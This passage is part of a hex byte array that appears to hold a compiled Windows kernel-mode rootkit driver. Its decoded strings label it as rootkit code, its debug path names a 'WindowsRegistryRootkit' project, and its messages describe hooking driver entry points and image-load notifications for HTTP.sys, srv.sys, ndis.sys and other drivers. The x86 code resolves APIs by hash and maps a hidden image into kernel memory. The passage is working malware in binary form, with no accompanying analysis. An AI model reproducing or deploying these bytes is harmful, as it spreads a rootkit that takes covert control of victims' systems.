0x6c,0x6f,0x63,0x61,0x74,0x65,0x50,0x6f,0x6f,0x6c,0x28,0x29,0x20,0x66,0x61,0x69,
0x6c,0x73,0x0a,0x00,0x4e,0x65,0x77,0x44,0x72,0x69,0x76,0x65,0x72,0x45,0x6e,0x74,
0x72,0x79,0x28,0x29,0x3a,0x20,0x48,0x6f,0x6f,0x6b,0x65,0x64,0x20,0x64,0x72,0x69,
0x76,0x65,0x72,0x20,0x72,0x65,0x74,0x75,0x72,0x6e,0x73,0x20,0x30,0x78,0x25,0x2e,
0x38,0x78,0x0a,0x00,0x4e,0x65,0x77,0x44,0x72,0x69,0x76,0x65,0x72,0x45,0x6e,0x74,
0x72,0x79,0x28,0x29,0x3a,0x20,0x53,0x74,0x61,0x72,0x74,0x20,0x61,0x64,0x64,0x72,
0x65,0x73,0x73,0x3a,0x20,0x30,0x78,0x25,0x2e,0x38,0x78,0x0a,0x00,0x00,0x00,0x00,
0x50,0x73,0x43,0x72,0x65,0x61,0x74,0x65,0x53,0x79,0x73,0x74,0x65,0x6d,0x54,0x68,
0x72,0x65,0x61,0x64,0x28,0x29,0x20,0x66,0x61,0x69,0x6c,0x73,0x3a,0x20,0x30,0x78,
0x25,0x2e,0x38,0x78,0x0a,0x00,0x00,0x00,0x48,0x6f,0x6f,0x6b,0x49,0x6d,0x61,0x67,
0x65,0x45,0x6e,0x74,0x72,0x79,0x28,0x29,0x3a,0x20,0x49,0x6d,0x61,0x67,0x65,0x20,
0x65,0x6e,0x74,0x72,0x79,0x20,0x70,0x6f,0x69,0x6e,0x74,0x20,0x68,0x6f,0x6f,0x6b,
0x65,0x64,0x20,0x28,0x30,0x78,0x25,0x2e,0x38,0x78,0x20,0x2d,0x3e,0x20,0x30,0x78,
0x25,0x2e,0x38,0x78,0x29,0x0a,0x00,0x00,0x49,0x4e,0x49,0x54,0x00,0x00,0x00,0x00,
0x25,0x64,0x20,0x66,0x72,0x65,0x65,0x20,0x62,0x79,0x74,0x65,0x73,0x20,0x61,0x74,
0x20,0x30,0x78,0x25,0x2e,0x38,0x78,0x0a,0x00,0x00,0x00,0x00,0x5c,0x00,0x48,0x00,
0x54,0x00,0x54,0x00,0x50,0x00,0x2e,0x00,0x73,0x00,0x79,0x00,0x73,0x00,0x00,0x00,
0x5c,0x00,0x6d,0x00,0x72,0x00,0x78,0x00,0x73,0x00,0x6d,0x00,0x62,0x00,0x2e,0x00,
0x73,0x00,0x79,0x00,0x73,0x00,0x00,0x00,0x5c,0x00,0x6d,0x00,0x72,0x00,0x78,0x00,
0x73,0x00,0x6d,0x00,0x62,0x00,0x31,0x00,0x30,0x00,0x2e,0x00,0x73,0x00,0x79,0x00,
0x73,0x00,0x00,0x00,0x5c,0x00,0x6d,0x00,0x72,0x00,0x78,0x00,0x73,0x00,0x6d,0x00,
0x62,0x00,0x32,0x00,0x30,0x00,0x2e,0x00,0x73,0x00,0x79,0x00,0x73,0x00,0x00,0x00,
0x5c,0x00,0x73,0x00,0x72,0x00,0x76,0x00,0x2e,0x00,0x73,0x00,0x79,0x00,0x73,0x00,
0x00,0x00,0x00,0x00,0x5c,0x00,0x73,0x00,0x72,0x00,0x76,0x00,0x32,0x00,0x2e,0x00,
0x73,0x00,0x79,0x00,0x73,0x00,0x00,0x00,0x5c,0x00,0x73,0x00,0x65,0x00,0x63,0x00,
0x64,0x00,0x72,0x00,0x76,0x00,0x2e,0x00,0x73,0x00,0x79,0x00,0x73,0x00,0x00,0x00,
0x4c,0x6f,0x61,0x64,0x49,0x6d,0x61,0x67,0x65,0x4e,0x6f,0x74,0x69,0x66,0x79,0x28,
0x29,0x3a,0x20,0x27,0x25,0x77,0x5a,0x27,0x20,0x69,0x73,0x20,0x61,0x74,0x20,0x30,
0x78,0x25,0x2e,0x38,0x78,0x2c,0x20,0x73,0x69,0x7a,0x65,0x3d,0x25,0x64,0x0a,0x00,
0x44,0x72,0x69,0x76,0x65,0x72,0x45,0x6e,0x74,0x72,0x79,0x28,0x29,0x3a,0x20,0x4c,
0x6f,0x61,0x64,0x65,0x64,0x20,0x61,0x74,0x20,0x30,0x78,0x25,0x2e,0x38,0x78,0x0a,
0x00,0x00,0x00,0x00,0x52,0x6f,0x6f,0x74,0x6b,0x69,0x74,0x20,0x63,0x6f,0x64,0x65,
0x3a,0x20,0x30,0x78,0x25,0x78,0x20,0x62,0x79,0x74,0x65,0x73,0x20,0x66,0x72,0x6f,
0x6d,0x20,0x30,0x78,0x25,0x2e,0x38,0x78,0x0a,0x00,0x00,0x00,0x50,0x73,0x53,0x65,
0x74,0x4c,0x6f,0x61,0x64,0x49,0x6d,0x61,0x67,0x65,0x4e,0x6f,0x74,0x69,0x66,0x79,
0x52,0x6f,0x75,0x74,0x69,0x6e,0x65,0x28,0x29,0x20,0x66,0x61,0x69,0x6c,0x73,0x3a,
0x20,0x30,0x78,0x25,0x2e,0x38,0x78,0x0a,0x00,0x00,0x00,0x00,0x45,0x78,0x41,0x6c,
0x6c,0x6f,0x63,0x61,0x74,0x65,0x50,0x6f,0x6f,0x6c,0x28,0x29,0x20,0x66,0x61,0x69,
0x6c,0x73,0x0a,0x00,0x5a,0x77,0x51,0x75,0x65,0x72,0x79,0x53,0x79,0x73,0x74,0x65,
0x6d,0x49,0x6e,0x66,0x6f,0x72,0x6d,0x61,0x74,0x69,0x6f,0x6e,0x28,0x29,0x20,0x66,
0x61,0x69,0x6c,0x73,0x3b,0x20,0x73,0x74,0x61,0x74,0x75,0x73,0x3a,0x20,0x30,0x78,
0x25,0x2e,0x38,0x78,0x0a,0x00,0x00,0x00,0x68,0x00,0x61,0x00,0x6c,0x00,0x2e,0x00,
0x64,0x00,0x6c,0x00,0x6c,0x00,0x00,0x00,0x6e,0x00,0x74,0x00,0x6f,0x00,0x73,0x00,
0x6b,0x00,0x72,0x00,0x6e,0x00,0x6c,0x00,0x2e,0x00,0x65,0x00,0x78,0x00,0x65,0x00,
0x00,0x00,0x00,0x00,0x68,0x00,0x61,0x00,0x6c,0x00,0x2e,0x00,0x64,0x00,0x6c,0x00,
0x6c,0x00,0x00,0x00,0x68,0x00,0x61,0x00,0x6c,0x00,0x61,0x00,0x63,0x00,0x70,0x00,
0x69,0x00,0x2e,0x00,0x64,0x00,0x6c,0x00,0x6c,0x00,0x00,0x00,0x68,0x00,0x61,0x00,
0x6c,0x00,0x61,0x00,0x70,0x00,0x69,0x00,0x63,0x00,0x2e,0x00,0x64,0x00,0x6c,0x00,
0x6c,0x00,0x00,0x00,0x68,0x00,0x61,0x00,0x6c,0x00,0x6d,0x00,0x70,0x00,0x73,0x00,
0x2e,0x00,0x64,0x00,0x6c,0x00,0x6c,0x00,0x00,0x00,0x00,0x00,0x68,0x00,0x61,0x00,
0x6c,0x00,0x61,0x00,0x61,0x00,0x63,0x00,0x70,0x00,0x69,0x00,0x2e,0x00,0x64,0x00,
0x6c,0x00,0x6c,0x00,0x00,0x00,0x00,0x00,0x68,0x00,0x61,0x00,0x6c,0x00,0x6d,0x00,
0x61,0x00,0x63,0x00,0x70,0x00,0x69,0x00,0x2e,0x00,0x64,0x00,0x6c,0x00,0x6c,0x00,
0x00,0x00,0x00,0x00,0x6e,0x00,0x74,0x00,0x6f,0x00,0x73,0x00,0x6b,0x00,0x72,0x00,
0x6e,0x00,0x6c,0x00,0x2e,0x00,0x65,0x00,0x78,0x00,0x65,0x00,0x00,0x00,0x00,0x00,
0x6e,0x00,0x74,0x00,0x6b,0x00,0x72,0x00,0x6e,0x00,0x6c,0x00,0x70,0x00,0x61,0x00,
0x2e,0x00,0x65,0x00,0x78,0x00,0x65,0x00,0x00,0x00,0x00,0x00,0x6e,0x00,0x74,0x00,
0x6b,0x00,0x72,0x00,0x6e,0x00,0x6c,0x00,0x6d,0x00,0x70,0x00,0x2e,0x00,0x65,0x00,
0x78,0x00,0x65,0x00,0x00,0x00,0x00,0x00,0x6e,0x00,0x74,0x00,0x6b,0x00,0x72,0x00,
0x70,0x00,0x61,0x00,0x6d,0x00,0x70,0x00,0x2e,0x00,0x65,0x00,0x78,0x00,0x65,0x00,
0x00,0x00,0x00,0x00,0x6e,0x74,0x6f,0x73,0x6b,0x72,0x6e,0x6c,0x2e,0x65,0x78,0x65,
0x00,0x00,0x00,0x00,0x52,0x75,0x6e,0x74,0x69,0x6d,0x65,0x49,0x6e,0x69,0x74,0x69,
0x61,0x6c,0x69,0x7a,0x65,0x28,0x29,0x3a,0x20,0x4b,0x65,0x72,0x6e,0x65,0x6c,0x20,
0x62,0x61,0x73,0x65,0x20,0x69,0x73,0x20,0x30,0x78,0x25,0x2e,0x38,0x78,0x0a,0x00,
0x6e,0x64,0x69,0x73,0x2e,0x73,0x79,0x73,0x00,0x00,0x00,0x00,0x52,0x75,0x6e,0x74,
0x69,0x6d,0x65,0x49,0x6e,0x69,0x74,0x69,0x61,0x6c,0x69,0x7a,0x65,0x28,0x29,0x3a,
0x20,0x4e,0x44,0x49,0x53,0x20,0x62,0x61,0x73,0x65,0x20,0x69,0x73,0x20,0x30,0x78,
0x25,0x2e,0x38,0x78,0x0a,0x00,0x00,0x00,0x6e,0x64,0x69,0x73,0x2e,0x73,0x79,0x73,
0x00,0x00,0x00,0x00,0x52,0x75,0x6e,0x74,0x69,0x6d,0x65,0x49,0x6e,0x69,0x74,0x69,
0x61,0x6c,0x69,0x7a,0x65,0x28,0x29,0x20,0x45,0x52,0x52,0x4f,0x52,0x3a,0x20,0x55,
0x6e,0x61,0x62,0x6c,0x65,0x20,0x74,0x6f,0x20,0x6c,0x6f,0x63,0x61,0x74,0x65,0x20,
0x4e,0x44,0x49,0x53,0x0a,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0xc0,0x2d,0x00,0x10,0x20,0x0f,0x00,0x10,0x01,0x00,0x00,0x00,
0x52,0x53,0x44,0x53,0x30,0xf9,0x23,0x4b,0x06,0x74,0x2c,0x46,0x98,0xa0,0x13,0x7b,
0x60,0xd0,0x84,0xd2,0x03,0x00,0x00,0x00,0x78,0x3a,0x5c,0x64,0x65,0x76,0x5c,0x5f,
0x65,0x78,0x70,0x6c,0x6f,0x69,0x74,0x73,0x5c,0x5f,0x4c,0x6f,0x63,0x61,0x6c,0x5c,
0x57,0x69,0x6e,0x64,0x6f,0x77,0x73,0x52,0x65,0x67,0x69,0x73,0x74,0x72,0x79,0x52,
0x6f,0x6f,0x74,0x6b,0x69,0x74,0x5c,0x73,0x72,0x63,0x5c,0x72,0x6f,0x6f,0x74,0x6b,
0x69,0x74,0x5f,0x64,0x72,0x69,0x76,0x65,0x72,0x5f,0x64,0x65,0x62,0x75,0x67,0x2e,
0x70,0x64,0x62,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x2a,0x2c,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x55,0x8b,0xec,0x5d,0xc2,0x14,0x00,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,
0x55,0x8b,0xec,0x5d,0xc2,0x0c,0x00,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,
0x55,0x8b,0xec,0x5d,0xc2,0x0c,0x00,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,
0x55,0x8b,0xec,0x5d,0xc3,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,
0x55,0x8b,0xec,0x5d,0xc2,0x08,0x00,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,
0x55,0x8b,0xec,0x5d,0xc2,0x08,0x00,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,
0x55,0x8b,0xec,0x5d,0xc2,0x0c,0x00,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,
0x55,0x8b,0xec,0x5d,0xc2,0x10,0x00,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,
0x55,0x8b,0xec,0x5d,0xc2,0x04,0x00,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,
0x55,0x8b,0xec,0x5d,0xc2,0x0c,0x00,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,
0x55,0x8b,0xec,0x5d,0xc2,0x10,0x00,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,
0x55,0x8b,0xec,0x33,0xc0,0x5d,0xc2,0x1c,0x00,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,
0x55,0x8b,0xec,0x5d,0xc2,0x04,0x00,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,
0x55,0x8b,0xec,0x33,0xc0,0x5d,0xc2,0x08,0x00,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,
0x55,0x8b,0xec,0x33,0xc0,0x5d,0xc2,0x08,0x00,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,
0x55,0x8b,0xec,0x33,0xc0,0x5d,0xc2,0x08,0x00,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,
0x55,0x8b,0xec,0x33,0xc0,0x5d,0xc2,0x08,0x00,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,
0x55,0x8b,0xec,0x83,0xec,0x7c,0x83,0x3d,0xc8,0x2d,0x00,0x10,0x00,0x74,0x0a,0xa1,
0xc8,0x2d,0x00,0x10,0xe9,0xd8,0x00,0x00,0x00,0xc7,0x45,0x84,0x00,0x00,0x00,0x00,
0x6a,0x6c,0x6a,0x00,0x8d,0x45,0x90,0x50,0xe8,0x81,0x1b,0x00,0x00,0x83,0xc4,0x0c,
0xc6,0x45,0x90,0x05,0xc6,0x45,0x91,0x00,0xc7,0x45,0x98,0x40,0x0f,0x00,0x10,0xc7,
0x45,0x9c,0x70,0x0f,0x00,0x10,0xc7,0x45,0xa0,0xc0,0x0f,0x00,0x10,0xc7,0x45,0xa4,
0xd0,0x0f,0x00,0x10,0xc7,0x45,0xa8,0x80,0x0f,0x00,0x10,0xc7,0x45,0xac,0x90,0x0f,
0x00,0x10,0xc7,0x45,0xb0,0xe0,0x0f,0x00,0x10,0xc7,0x45,0xb4,0xf0,0x0f,0x00,0x10,
0xc7,0x45,0xb8,0xa0,0x0f,0x00,0x10,0xc7,0x45,0xbc,0xb0,0x0f,0x00,0x10,0xc7,0x45,
0xcc,0x30,0x0f,0x00,0x10,0xc7,0x45,0xd0,0x50,0x0f,0x00,0x10,0xc7,0x45,0xd8,0x60,
0x0f,0x00,0x10,0xc7,0x45,0xc8,0x00,0x10,0x00,0x10,0xc7,0x45,0xd4,0x10,0x10,0x00,
0x10,0x68,0x9c,0x03,0x00,0x10,0x8d,0x4d,0x88,0x51,0xff,0x15,0x20,0x03,0x00,0x10,
0x8b,0x55,0x88,0x89,0x55,0xc0,0x8b,0x45,0x8c,0x89,0x45,0xc4,0x6a,0x6c,0x8d,0x4d,
0x90,0x51,0x68,0xc8,0x2d,0x00,0x10,0x8d,0x55,0x84,0x52,0xff,0x15,0x84,0x02,0x00,
0x10,0x83,0x7d,0x84,0x00,0x74,0x15,0x8b,0x45,0x84,0x50,0x68,0xb4,0x03,0x00,0x10,
0xe8,0xbd,0x1a,0x00,0x00,0x83,0xc4,0x08,0x33,0xc0,0xeb,0x05,0xa1,0xc8,0x2d,0x00,
0x10,0x8b,0xe5,0x5d,0xc3,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,
0x55,0x8b,0xec,0x51,0x83,0x3d,0xc8,0x2d,0x00,0x10,0x00,0x74,0x21,0xc7,0x45,0xfc,
0x00,0x00,0x00,0x00,0xa1,0xc8,0x2d,0x00,0x10,0x50,0x8d,0x4d,0xfc,0x51,0xff,0x15,
0x80,0x02,0x00,0x10,0xc7,0x05,0xc8,0x2d,0x00,0x10,0x00,0x00,0x00,0x00,0x8b,0xe5,
0x5d,0xc3,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,
0x55,0x8b,0xec,0x83,0xec,0x0c,0x60,0xe8,0x00,0x00,0x00,0x00,0x5b,0x81,0xeb,0x8c,
0x11,0x00,0x10,0xe8,0x6f,0x00,0x00,0x00,0x8b,0xf0,0x68,0xe8,0x60,0xbf,0x04,0x56,
0xe8,0x84,0x00,0x00,0x00,0x6a,0x00,0x6a,0x00,0x8d,0x8b,0x3e,0x13,0x00,0x10,0x51,
0xff,0xd0,0x8b,0xf0,0x68,0x89,0xfd,0x12,0xa4,0x56,0xe8,0x6a,0x00,0x00,0x00,0x89,
0x45,0xfc,0x68,0x84,0x9b,0x50,0xf2,0x56,0xe8,0x5c,0x00,0x00,0x00,0x89,0x45,0xf4,
0xff,0x75,0xf4,0xff,0x75,0xfc,0x8b,0x45,0x08,0x50,0xe8,0xa3,0x00,0x00,0x00,0x89,
0x45,0xf8,0x61,0x8b,0x45,0xf8,0x8b,0xe5,0x5d,0xc2,0x04,0x00,0x55,0x8b,0xec,0x8b,
0x45,0x08,0x52,0x33,0xd2,0xc1,0xc2,0x03,0x32,0x10,0x40,0x80,0x38,0x00,0x75,0xf5,
0x8b,0xc2,0x5a,0x5d,0xc2,0x04,0x00,0x56,0x33,0xc0,0x64,0xa1,0x30,0x00,0x00,0x00,
0x78,0x0c,0x8b,0x40,0x0c,0x8b,0x70,0x1c,0xad,0x8b,0x40,0x08,0xeb,0x09,0x8b,0x40,
0x34,0x8d,0x40,0x7c,0x8b,0x40,0x3c,0x5e,0xc3,0x55,0x8b,0xec,0x53,0x56,0x57,0x33,
0xc0,0x8b,0x5d,0x0c,0x8b,0x75,0x08,0x8b,0xfe,0x03,0x76,0x3c,0x8b,0x4e,0x78,0x03,
0xcf,0x8b,0x51,0x1c,0x52,0x8b,0x51,0x24,0x52,0x8b,0x71,0x20,0x03,0xf7,0x99,0x4a,
0xad,0x42,0x03,0x45,0x08,0x50,0xe8,0x91,0xff,0xff,0xff,0x3b,0xc3,0x75,0xf1,0x8b,
0x45,0x08,0x92,0x5e,0x03,0xf2,0xd1,0xe0,0x03,0xc6,0x33,0xc9,0x0f,0xb7,0x08,0x5f,
0xc1,0xe1,0x02,0x03,0xca,0x03,0xcf,0x8b,0x01,0x03,0xc2,0x5f,0x5e,0x5b,0x5d,0xc2,
0x08,0x00,0x55,0x8b,0xec,0x83,0xec,0x10,0x53,0x8b,0x5d,0x08,0x85,0xdb,0x56,0x57,
0x0f,0x84,0xa4,0x00,0x00,0x00,0x8b,0x43,0x3c,0x8b,0xbc,0x18,0x80,0x00,0x00,0x00,
0x03,0xfb,0xe9,0x80,0x00,0x00,0x00,0x8b,0x47,0x0c,0x03,0xc3,0x89,0x45,0xfc,0xff,
0x75,0xfc,0xff,0x55,0x0c,0x89,0x45,0x08,0x83,0x7d,0x08,0x00,0x74,0x7c,0x83,0x7f,
0x04,0xff,0x75,0x04,0x8b,0x07,0xeb,0x03,0x8b,0x47,0x10,0x89,0x45,0xfc,0x8d,0x34,
0x18,0xeb,0x4c,0x8b,0x06,0xa9,0x00,0x00,0x00,0xf0,0x74,0x19,0x25,0xff,0xff,0x00,
0x00,0x89,0x45,0xf8,0xff,0x75,0xf8,0xff,0x75,0x08,0xff,0x55,0x10,0x89,0x45,0xf4,
0x8b,0x45,0xf4,0xeb,0x16,0x8d,0x44,0x18,0x02,0x89,0x45,0xf8,0xff,0x75,0xf8,0xff,
0x75,0x08,0xff,0x55,0x10,0x89,0x45,0xf0,0x8b,0x45,0xf0,0x85,0xc0,0x89,0x06,0x74,
0x29,0x8b,0x47,0x10,0x2b,0x45,0xfc,0x8b,0x0e,0x89,0x0c,0x30,0x83,0xc6,0x04,0x83,
0x3e,0x00,0x75,0xaf,0x83,0xc7,0x14,0x83,0x3f,0x00,0x0f,0x85,0x77,0xff,0xff,0xff,
0x33,0xc0,0x40,0x5f,0x5e,0x5b,0xc9,0xc2,0x0c,0x00,0x33,0xc0,0xeb,0xf5,0x6b,0x65,
0x72,0x6e,0x65,0x6c,0x33,0x32,0x00,0x7e,0x45,0x4e,0x44,0xcc,0xcc,0xcc,0xcc,0xcc,
0x83,0x3d,0xdc,0x2d,0x00,0x10,0x00,0x74,0x0e,0xa1,0xdc,0x2d,0x00,0x10,0x8d,0x54,
0x24,0x04,0xcd,0x2e,0xc2,0x14,0x00,0xb8,0x01,0x00,0x00,0x00,0xc2,0x14,0x00,0xcc,
0x55,0x8b,0xec,0x83,0xec,0x08,0xc7,0x45,0xfc,0x00,0x00,0x00,0x00,0x8b,0x45,0x08,
0x89,0x45,0xf8,0x8b,0x4d,0xf8,0x81,0x39,0x7e,0x45,0x4e,0x44,0x74,0x14,0x8b,0x55,
0xfc,0x83,0xc2,0x01,0x89,0x55,0xfc,0x8b,0x45,0xf8,0x83,0xc0,0x01,0x89,0x45,0xf8,
0xeb,0xe1,0x8b,0x45,0xfc,0x8b,0xe5,0x5d,0xc2,0x04,0x00,0xcc,0xcc,0xcc,0xcc,0xcc,
0x55,0x8b,0xec,0x68,0xe4,0x03,0x00,0x10,0xe8,0x25,0x18,0x00,0x00,0x83,0xc4,0x04,
0x6a,0x00,0x6a,0x00,0x68,0xcc,0x2d,0x00,0x10,0xff,0x15,0xd4,0x02,0x00,0x10,0x5d,
0xc2,0x14,0x00,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,
0x55,0x8b,0xec,0x83,0xec,0x18,0xc6,0x45,0xf7,0x00,0x83,0x7d,0x08,0x00,0x74,0x0e,
0x8b,0x45,0x08,0x50,0x8d,0x4d,0xf8,0x51,0xff,0x15,0x20,0x03,0x00,0x10,0x8b,0x55,
0x10,0xc7,0x02,0x00,0x00,0x00,0x00,0x8b,0x45,0x14,0xc7,0x00,0x00,0x00,0x00,0x00,
0x6a,0x05,0xe8,0xe9,0x16,0x00,0x00,0x89,0x45,0xf0,0x83,0x7d,0xf0,0x00,0x0f,0x84,
0x4d,0x01,0x00,0x00,0x8b,0x4d,0xf0,0x89,0x4d,0xec,0x83,0x7d,0xec,0x00,0x0f,0x84,
0x31,0x01,0x00,0x00,0x8b,0x55,0xec,0x83,0x7a,0x3c,0x00,0x0f,0x84,0x0a,0x01,0x00,
0x00,0x8b,0x45,0xec,0x83,0x78,0x04,0x00,0x0f,0x86,0xfd,0x00,0x00,0x00,0x83,0x7d,
0x08,0x00,0x74,0x1a,0x6a,0x01,0x8d,0x4d,0xf8,0x51,0x8b,0x55,0xec,0x83,0xc2,0x38,
0x52,0xff,0x15,0xa0,0x02,0x00,0x10,0x0f,0xb6,0xc0,0x85,0xc0,0x75,0x19,0x83,0x7d,
0x0c,0x00,0x0f,0x84,0xd3,0x00,0x00,0x00,0x8b,0x4d,0xec,0x8b,0x51,0x44,0x3b,0x55,
0x0c,0x0f,0x85,0xc4,0x00,0x00,0x00,0x8b,0x45,0xec,0x8b,0x48,0x44,0x51,0x8b,0x55,
0xec,0x83,0xc2,0x38,0x52,0x68,0x00,0x04,0x00,0x10,0xe8,0x43,0x17,0x00,0x00,0x83,
0xc4,0x0c,0x8b,0x45,0x10,0x50,0x8b,0x4d,0xec,0x8b,0x91,0xdc,0x00,0x00,0x00,0x52,
0xff,0x15,0x9c,0x02,0x00,0x10,0x89,0x45,0xe8,0x83,0x7d,0xe8,0x00,0x7d,0x11,0x8b,
0x45,0xe8,0x50,0x68,0x28,0x04,0x00,0x10,0xe8,0x15,0x17,0x00,0x00,0x83,0xc4,0x08,
0x8b,0x4d,0x14,0x51,0x8b,0x55,0xec,0x8b,0x42,0x44,0x50,0xff,0x15,0x98,0x02,0x00,
0x10,0x89,0x45,0xe8,0x83,0x7d,0xe8,0x00,0x7d,0x11,0x8b,0x4d,0xe8,0x51,0x68,0x5c,
0x04,0x00,0x10,0xe8,0xea,0x16,0x00,0x00,0x83,0xc4,0x08,0x8b,0x55,0x10,0x83,0x3a,
0x00,0x74,0x10,0x8b,0x45,0x14,0x83,0x38,0x00,0x74,0x08,0xc6,0x45,0xf7,0x01,0xeb,
0x54,0xeb,0x38,0x8b,0x4d,0x10,0x83,0x39,0x00,0x74,0x14,0x8b,0x55,0x10,0x8b,0x0a,
0xff,0x15,0x94,0x02,0x00,0x10,0x8b,0x45,0x10,0xc7,0x00,0x00,0x00,0x00,0x00,0x8b,
0x4d,0x14,0x83,0x39,0x00,0x74,0x14,0x8b,0x55,0x14,0x8b,0x0a,0xff,0x15,0x94,0x02,
0x00,0x10,0x8b,0x45,0x14,0xc7,0x00,0x00,0x00,0x00,0x00,0x8b,0x4d,0xec,0x83,0x39,
0x00,0x75,0x02,0xeb,0x10,0x8b,0x55,0xec,0x8b,0x45,0xec,0x03,0x02,0x89,0x45,0xec,
0xe9,0xc5,0xfe,0xff,0xff,0x6a,0x00,0x8b,0x4d,0xf0,0x51,0xff,0x15,0x90,0x02,0x00,
0x10,0x8a,0x45,0xf7,0x8b,0xe5,0x5d,0xc2,0x10,0x00,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,
0x55,0x8b,0xec,0x6a,0xff,0x68,0xe0,0x2c,0x00,0x10,0x68,0x2a,0x2c,0x00,0x10,0x64,
0xa1,0x00,0x00,0x00,0x00,0x50,0x64,0x89,0x25,0x00,0x00,0x00,0x00,0x83,0xc4,0xd8,
0x53,0x56,0x57,0x89,0x65,0xe8,0x8b,0x45,0x0c,0x8b,0x4d,0x0c,0x03,0x48,0x3c,0x89,
0x4d,0xe0,0xc7,0x45,0xd8,0x00,0x00,0x00,0x00,0x8b,0x55,0xe0,0x8b,0x42,0x50,0x89,
0x45,0xdc,0x6a,0x40,0x68,0x00,0x30,0x00,0x00,0x8d,0x4d,0xdc,0x51,0x6a,0x00,0x8d,
0x55,0xd8,0x52,0x8b,0x45,0x08,0x50,0xff,0x15,0xac,0x02,0x00,0x10,0x89,0x45,0xe4,
0x83,0x7d,0xe4,0x00,0x0f,0x8c,0x26,0x01,0x00,0x00,0x8b,0x4d,0xd8,0x51,0x68,0x90,
0x04,0x00,0x10,0xe8,0xea,0x15,0x00,0x00,0x83,0xc4,0x08,0xc7,0x45,0xfc,0x00,0x00,
0x00,0x00,0x8b,0x55,0xdc,0x52,0x6a,0x00,0x8b,0x45,0xd8,0x50,0xe8,0xdd,0x15,0x00,
0x00,0x83,0xc4,0x0c,0x8b,0x4d,0xe0,0x8b,0x51,0x54,0x52,0x8b,0x45,0x0c,0x50,0x8b,
0x4d,0xd8,0x51,0xe8,0xf6,0x15,0x00,0x00,0x83,0xc4,0x0c,0x8b,0x55,0xe0,0x0f,0xb7,
0x42,0x14,0x8b,0x4d,0xe0,0x8d,0x54,0x01,0x18,0x89,0x55,0xd4,0xc7,0x45,0xd0,0x00,
0x00,0x00,0x00,0xeb,0x09,0x8b,0x45,0xd0,0x83,0xc0,0x01,0x89,0x45,0xd0,0x8b,0x4d,
0xe0,0x0f,0xb7,0x51,0x06,0x39,0x55,0xd0,0x73,0x4d,0x8b,0x45,0xd4,0x8b,0x4d,0xd4,
0x8b,0x50,0x10,0x3b,0x51,0x08,0x73,0x0b,0x8b,0x45,0xd4,0x8b,0x48,0x10,0x89,0x4d,
0xcc,0xeb,0x09,0x8b,0x55,0xd4,0x8b,0x42,0x08,0x89,0x45,0xcc,0x8b,0x4d,0xcc,0x51,
0x8b,0x55,0xd4,0x8b,0x45,0x0c,0x03,0x42,0x14,0x50,0x8b,0x4d,0xd4,0x8b,0x55,0xd8,
0x03,0x51,0x0c,0x52,0xe8,0x85,0x15,0x00,0x00,0x83,0xc4,0x0c,0x8b,0x45,0xd4,0x83,
0xc0,0x28,0x89,0x45,0xd4,0xeb,0x9e,0x8b,0x4d,0xd8,0x51,0x8b,0x55,0xd8,0x52,0xe8,
0x6c,0x12,0x00,0x00,0x0f,0xb6,0xc0,0x85,0xc0,0x74,0x18,0x8b,0x4d,0x14,0x8b,0x55,
0xd8,0x89,0x11,0xc6,0x45,0xcb,0x01,0xc7,0x45,0xfc,0xff,0xff,0xff,0xff,0x8a,0x45,
0xcb,0xeb,0x50,0xc7,0x45,0xfc,0xff,0xff,0xff,0xff,0xeb,0x1d,0xb8,0x01,0x00,0x00,
0x00,0xc3,0x8b,0x65,0xe8,0x68,0xcc,0x04,0x00,0x10,0xe8,0xf3,0x14,0x00,0x00,0x83,
0xc4,0x04,0xc7,0x45,0xfc,0xff,0xff,0xff,0xff,0x68,0x00,0x80,0x00,0x00,0x6a,0x00,
0x8d,0x45,0xd8,0x50,0x8b,0x4d,0x08,0x51,0xff,0x15,0xa4,0x02,0x00,0x10,0xeb,0x11,
0x8b,0x55,0xe4,0x52,0x68,0xec,0x04,0x00,0x10,0xe8,0xc4,0x14,0x00,0x00,0x83,0xc4,
0x08,0x32,0xc0,0x8b,0x4d,0xf0,0x64,0x89,0x0d,0x00,0x00,0x00,0x00,0x5f,0x5e,0x5b,
